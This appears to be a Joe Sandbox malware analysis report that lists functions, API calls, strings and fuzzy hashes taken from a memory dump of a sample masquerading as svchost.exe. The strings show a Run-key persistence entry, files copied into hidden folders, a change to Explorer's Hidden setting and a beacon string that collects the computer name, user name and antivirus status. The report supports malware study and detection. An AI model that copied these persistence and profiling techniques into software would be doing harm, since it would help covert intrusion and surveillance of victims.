Opcode Fuzzy Hash: 1dfae691d3f300e8eb9ec59fb40c600c63e8ff47fd4a1043f669c2907b9887a7
Instruction Fuzzy Hash: 4421D67261CA8486DB70DB19F48476AA3A4F78CB44F205635EA8EC3B68EF3DD554CB00

Function 00007FF60BFA0798 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60BFA1174: GetWindowsDirectoryW.KERNEL32 ref: 00007FF60BFA11AB
Part of subcall function 00007FF60BFA1174: GetVolumeInformationW.KERNEL32 ref: 00007FF60BFA124C
Part of subcall function 00007FF60BFA1174: wsprintfW.USER32 ref: 00007FF60BFA12DB

Part of subcall function 00007FF60BFA0844: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA07CD), ref: 00007FF60BFA088D
Part of subcall function 00007FF60BFA0844: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA07CD), ref: 00007FF60BFA08A2
Part of subcall function 00007FF60BFA0844: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA07CD), ref: 00007FF60BFA08B5
Part of subcall function 00007FF60BFA0844: CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA07CD), ref: 00007FF60BFA08C5
Part of subcall function 00007FF60BFA0844: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA07CD), ref: 00007FF60BFA08D8
Part of subcall function 00007FF60BFA0844: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA07CD), ref: 00007FF60BFA08ED
Part of subcall function 00007FF60BFA0844: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA07CD), ref: 00007FF60BFA0900
Part of subcall function 00007FF60BFA0844: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60BFA07CD), ref: 00007FF60BFA0915

GetModuleFileNameW.KERNEL32 ref: 00007FF60BFA07DD
DeleteFileW.KERNEL32 ref: 00007FF60BFA07E8
CopyFileW.KERNEL32 ref: 00007FF60BFA0801
SetFileAttributesW.KERNEL32 ref: 00007FF60BFA0819

Strings

Services, xrefs: 00007FF60BFA0824

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Filelstrcat$AttributesDirectory$CopyCreateDeleteFolderInformationModuleNamePathVolumeWindowswsprintf
String ID: Services
API String ID: 3209240227-2319745855
Opcode ID: 823e6759efeda70e4ef3bae70da677e340206dab9cd5a6f55dc8ef6d8ad068b5
Instruction ID: a39409451b09ae5346bd107151d8dfae8b9f842430323db5e87bce859a6c4c85
Opcode Fuzzy Hash: 823e6759efeda70e4ef3bae70da677e340206dab9cd5a6f55dc8ef6d8ad068b5
Instruction Fuzzy Hash: 15014461B1C542A2DB50DB34E4543AA5360FB98744FA09432D64FC36B5EE2DD24ACF44

Function 00007FF60BFA02E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF60BFA0323
RegSetValueExW.ADVAPI32 ref: 00007FF60BFA0359
RegCloseKey.ADVAPI32 ref: 00007FF60BFA0368

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00007FF60BFA02E4
Hidden, xrefs: 00007FF60BFA02F0

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: CloseOpenValue
String ID: Hidden$Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
API String ID: 779948276-85274793
Opcode ID: beb93c632a34156963fe64735a9b928f099ba9484622690a6d160c2725b03238
Instruction ID: c2534fde37468fb1b7d1d378fc841a9d2cb62c6bb4ed40e64e40a736cd4cd536
Opcode Fuzzy Hash: beb93c632a34156963fe64735a9b928f099ba9484622690a6d160c2725b03238
Instruction Fuzzy Hash: 8B01ED76629B4086D7909B14F44475AB7A4F789794F505125FB8E83B68DF3CC154CF04

Function 00007FF60BF813A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF60BF813B8
GetProcAddress.KERNEL32 ref: 00007FF60BF813C8

Strings

@, xrefs: 00007FF60BF81405
kernel32, xrefs: 00007FF60BF813B1
IsWow64Process, xrefs: 00007FF60BF813BE

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: @$IsWow64Process$kernel32
API String ID: 1646373207-1447682865
Opcode ID: ab93a9697e7db49f45cab12df12d8e20f72fdeb3fe900da885d9202ed212137f
Instruction ID: 5dfff222ceb639354eb6b2ee8b7cf1a9787267824960b1bdf4b4ada1d095b124
Opcode Fuzzy Hash: ab93a9697e7db49f45cab12df12d8e20f72fdeb3fe900da885d9202ed212137f
Instruction Fuzzy Hash: 3001FF2190C64692EB309F16E44476AB7A0FB8D748F604234D68FD76B8DF7CD64ACB00

Function 00007FF60BF834F0 Relevance: 7.6, APIs: 5, Instructions: 119fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60BF82314: LoadLibraryA.KERNEL32 ref: 00007FF60BF8231F

Part of subcall function 00007FF60BF81478: LoadLibraryA.KERNEL32 ref: 00007FF60BF81483

GetModuleFileNameW.KERNEL32 ref: 00007FF60BF8353F
CreateFileW.KERNEL32 ref: 00007FF60BF835E9

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: FileLibraryLoad$CreateModuleName
String ID:
API String ID: 1423211558-0
Opcode ID: 7834f4e908498ff53ae9107ca55e82e527c538c5482dbe6334d9e00c9c33f287
Instruction ID: cafb601cf7fc73aa25403b8bd47db3afa3fb70a5fa66b9e94edd03215da0d07c
Opcode Fuzzy Hash: 7834f4e908498ff53ae9107ca55e82e527c538c5482dbe6334d9e00c9c33f287
Instruction Fuzzy Hash: 79510B7260CA8185E7609B26E45436FB7A1FB89780F608135EACEC7AB9DF7DD445CB00

Function 00007FF60BFAF758 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00007FF60BFAF7BA
_isleadbyte_l.LIBCMT ref: 00007FF60BFAF7EA
MultiByteToWideChar.KERNEL32 ref: 00007FF60BFAF829
MultiByteToWideChar.KERNEL32 ref: 00007FF60BFAF877
_errno.LIBCMT ref: 00007FF60BFAF881

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::__errno_isleadbyte_l
String ID:
API String ID: 2998201375-0
Opcode ID: 5223744fd3fccca467624dc8a192276cd82e61384c6ea2980f54dffe725d773f
Instruction ID: 6e3836d01e7c4b6dc1623da82db2c626f69ae7d1cd00d64fc4581d60edf33e15
Opcode Fuzzy Hash: 5223744fd3fccca467624dc8a192276cd82e61384c6ea2980f54dffe725d773f
Instruction Fuzzy Hash: F5419775A1878286E7648F15954057DB7A5FF88B80F248135DB4EDBBA5DF3CE4418B00

Function 00007FF60BFA12F4 Relevance: 7.5, APIs: 5, Instructions: 35processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF60BFA130F
Process32FirstW.KERNEL32 ref: 00007FF60BFA1338
wcscmp.MSVCRT ref: 00007FF60BFA134F
CloseHandle.KERNEL32 ref: 00007FF60BFA137C

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32wcscmp
String ID:
API String ID: 2850635065-0
Opcode ID: 0e751263ca790cefd0de29730052997415424a4d3fcfa03dfa405769945a3833
Instruction ID: 5dd0696f6e97e9fa1240f8381b275ee43262a527f56887398b9bca1729fd10c9
Opcode Fuzzy Hash: 0e751263ca790cefd0de29730052997415424a4d3fcfa03dfa405769945a3833
Instruction Fuzzy Hash: E2110071A1C64296E7609F11F54833AB7A0FB897A4F608635E59FC3AB8DF3CD6548B00

Function 00007FF60BFA29AC Relevance: 7.5, APIs: 5, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00007FF60BFA29B9

Part of subcall function 00007FF60BFA572C: _getptd_noexit.LIBCMT ref: 00007FF60BFA5732

_inconsistency.LIBCMT ref: 00007FF60BFA29C7

Part of subcall function 00007FF60BFA80C4: DecodePointer.KERNEL32(?,?,?,?,00007FF60BFA8071,?,?,?,00007FF60BFA2612), ref: 00007FF60BFA80CF

_getptd.LIBCMT ref: 00007FF60BFA29CC
_inconsistency.LIBCMT ref: 00007FF60BFA29E8
_getptd.LIBCMT ref: 00007FF60BFA29F8

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: _getptd$_inconsistency$DecodePointer_getptd_noexit
String ID:
API String ID: 3566995948-0
Opcode ID: ee8c12c8554f5530bc3b28713b5296e1af5c1cc8e122cf2103e50e6ee38f58da
Instruction ID: 9fec831de16345c107c5e81c27f40c330966e67de6fd07f7be07bb20bfd80ad8
Opcode Fuzzy Hash: ee8c12c8554f5530bc3b28713b5296e1af5c1cc8e122cf2103e50e6ee38f58da
Instruction Fuzzy Hash: 41F089A1B08586D0EA586B65E0811FC6254FF5CFC0F2CC131D74ED7297DE18E4909B10

Function 00007FF60BF9D070 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00007FF60BF9D11C
_snprintf.LIBCMT ref: 00007FF60BF9D1EB

Strings

info=1&uid=%s&ver=%s&os=%u.%u.%u&cmpname=%s&username=%s&ut=%d&av=%d, xrefs: 00007FF60BF9D090
3.2, xrefs: 00007FF60BF9D1C5

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Version_snprintf
String ID: 3.2$info=1&uid=%s&ver=%s&os=%u.%u.%u&cmpname=%s&username=%s&ut=%d&av=%d
API String ID: 2221195653-1629646224
Opcode ID: d8e065c0954a299e65155b93d3e3b5ceec94708ba317d722836e874e1f68d53d
Instruction ID: eb77c3f3527ade9152fb54bfc71b80f7307c28df2458fa724f7dde2e51dfa10a
Opcode Fuzzy Hash: d8e065c0954a299e65155b93d3e3b5ceec94708ba317d722836e874e1f68d53d
Instruction Fuzzy Hash: 9A51A576608AC59AD764CF15E8543AAB7A1F7C8790F604135EA9EC3BA8DF7CD444CB00

Function 00007FF60BFA1174 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00007FF60BFA11AB
GetVolumeInformationW.KERNEL32 ref: 00007FF60BFA124C
wsprintfW.USER32 ref: 00007FF60BFA12DB

Strings

%08lX%04lX%lu, xrefs: 00007FF60BFA12CC

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu
API String ID: 3001812590-640692576
Opcode ID: 08c2cf307d83d8194dc8edf4cd8c2b41345a18135c499c6c05916fe6c666ad14
Instruction ID: cacf597020d2bbb812abcb1a583d3fbd9feb8f68d636e9170fbf56aef1355d7b
Opcode Fuzzy Hash: 08c2cf307d83d8194dc8edf4cd8c2b41345a18135c499c6c05916fe6c666ad14
Instruction Fuzzy Hash: 5B41396261C24186E7149B68F45536AB7A0FBCA704F60513AE78ED7BA8EF3DD944CF00

Function 00007FF60BFA1590 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.LIBCMT ref: 00007FF60BFA159E
malloc.LIBCMT ref: 00007FF60BFA15AA

Part of subcall function 00007FF60BFA244C: _FF_MSGBANNER.LIBCMT ref: 00007FF60BFA247C
Part of subcall function 00007FF60BFA244C: _NMSG_WRITE.LIBCMT ref: 00007FF60BFA2486
Part of subcall function 00007FF60BFA244C: HeapAlloc.KERNEL32(?,?,00000000,00007FF60BFA4284,?,?,?,00007FF60BFAAD9C,?,?,?,00007FF60BFAAC9B,?,?,00000000,00007FF60BFA5832), ref: 00007FF60BFA24A1
Part of subcall function 00007FF60BFA244C: _callnewh.LIBCMT ref: 00007FF60BFA24BA
Part of subcall function 00007FF60BFA244C: _errno.LIBCMT ref: 00007FF60BFA24C5
Part of subcall function 00007FF60BFA244C: _errno.LIBCMT ref: 00007FF60BFA24D0

_CxxThrowException.LIBCMT ref: 00007FF60BFA15F3

Part of subcall function 00007FF60BFA2504: RtlPcToFileHeader.NTDLL ref: 00007FF60BFA2593
Part of subcall function 00007FF60BFA2504: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF60BFB04BE), ref: 00007FF60BFA25D2

Strings

bad allocation, xrefs: 00007FF60BFA15BA

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Exception_callnewh_errno$AllocFileHeaderHeapRaiseThrowmalloc
String ID: bad allocation
API String ID: 1214304046-2104205924
Opcode ID: 3b8e8bd193397a22c989b775499798885fd0ff8c1caff98f5e3a105427b3f2ea
Instruction ID: 289b44b7dde505adeab9183f2f078ad35eca83655a236fc4bba8fdffa5e25275
Opcode Fuzzy Hash: 3b8e8bd193397a22c989b775499798885fd0ff8c1caff98f5e3a105427b3f2ea
Instruction Fuzzy Hash: 9D01ACA5F0874784EE189751A4501B85354EF4E384F68C030DA4EC7BBAEE7CE241CB00

Function 00007FF60BFA0F48 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00007FF60BFA0830), ref: 00007FF60BFA0F77
RegSetValueExW.ADVAPI32 ref: 00007FF60BFA0FE0
RegCloseKey.ADVAPI32 ref: 00007FF60BFA0FEF

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00007FF60BFA0F69

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: CloseOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 779948276-1428018034
Opcode ID: 4a561f427d5a0833e66d88e195127c8b8fb31ed43f9b64d14c46dfc272e21bc7
Instruction ID: ad2cccb25abd234a268222b230b6613b80a17655cc40e098a7c369607d90cf4b
Opcode Fuzzy Hash: 4a561f427d5a0833e66d88e195127c8b8fb31ed43f9b64d14c46dfc272e21bc7
Instruction Fuzzy Hash: 69111A76518B8186DB908F14F44566AB7A0F7897A0F609221EA9E83BB8DF3DD184CF00

Function 00007FF60BFB56A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60BFA29AC: _getptd.LIBCMT ref: 00007FF60BFA29B9
Part of subcall function 00007FF60BFA29AC: _inconsistency.LIBCMT ref: 00007FF60BFA29C7
Part of subcall function 00007FF60BFA29AC: _getptd.LIBCMT ref: 00007FF60BFA29CC
Part of subcall function 00007FF60BFA29AC: _inconsistency.LIBCMT ref: 00007FF60BFA29E8

__DestructExceptionObject.LIBCMT ref: 00007FF60BFB56EE
_getptd.LIBCMT ref: 00007FF60BFB56F4
_getptd.LIBCMT ref: 00007FF60BFB5707

Part of subcall function 00007FF60BFA2A3C: _getptd.LIBCMT ref: 00007FF60BFA2A45

Strings

csm, xrefs: 00007FF60BFB56C1

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: _getptd$_inconsistency$DestructExceptionObject
String ID: csm
API String ID: 2821275340-1018135373
Opcode ID: c927b15099e8d8d8a14847beea8bde30514249613e58caf7d211df8e6c6ec09d
Instruction ID: 91913236be99c04f7f7a6a6d6d8e60065c943db3878aa19aaef6eca95f6bf318
Opcode Fuzzy Hash: c927b15099e8d8d8a14847beea8bde30514249613e58caf7d211df8e6c6ec09d
Instruction Fuzzy Hash: 8101A762D0428685DB24AF35D8D16BC3355EB7CB45F249035D90ECF656CE28E880C700

Function 00007FF60BF822BC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF60BF822E8
ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF60BF82301

Strings

%SystemRoot%\system32\svchost.exe, xrefs: 00007FF60BF822FA
%SystemRoot%\SysWoW64\svchost.exe, xrefs: 00007FF60BF822E1

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: %SystemRoot%\SysWoW64\svchost.exe$%SystemRoot%\system32\svchost.exe
API String ID: 237503144-2871004979
Opcode ID: 26d235ddc8eb93f07edcb8965c1cf58c0c2aab6b495efb37e2acaf60aadbeeb9
Instruction ID: 677743d27f231aeb445a9d71daa268267c44c5e1a24574668bc271d0bf7f4425
Opcode Fuzzy Hash: 26d235ddc8eb93f07edcb8965c1cf58c0c2aab6b495efb37e2acaf60aadbeeb9
Instruction Fuzzy Hash: 35F01271A2C58291DB509B16E84052ABB70F7997C0F609435E58BC3A78DF2CE554DF40

Function 00007FF60BF81088 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF60BF81098
GetProcAddress.KERNEL32 ref: 00007FF60BF810A8

Strings

GetThreadId, xrefs: 00007FF60BF8109E
kernel32, xrefs: 00007FF60BF81091

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetThreadId$kernel32
API String ID: 1646373207-2383230424
Opcode ID: e461afaf8c1bd09b320089634cf66b20fcf42d2cd2d08406a6f8b5433de6df5f
Instruction ID: 8086eec9b8cde3c64de95e1ce9a823734d6df6fe6756e2ab568b646744b84780
Opcode Fuzzy Hash: e461afaf8c1bd09b320089634cf66b20fcf42d2cd2d08406a6f8b5433de6df5f
Instruction Fuzzy Hash: 3EE0ED21918A82D2DB209B15F804729A3A0FB8C744F608530D58FC36B4EF7CD649CA00

Function 00007FF60BF81600 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF60BF8160B
GetProcAddress.KERNEL32 ref: 00007FF60BF81622

Strings

kernel32, xrefs: 00007FF60BF81604
CreateProcessInternalW, xrefs: 00007FF60BF81616

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CreateProcessInternalW$kernel32
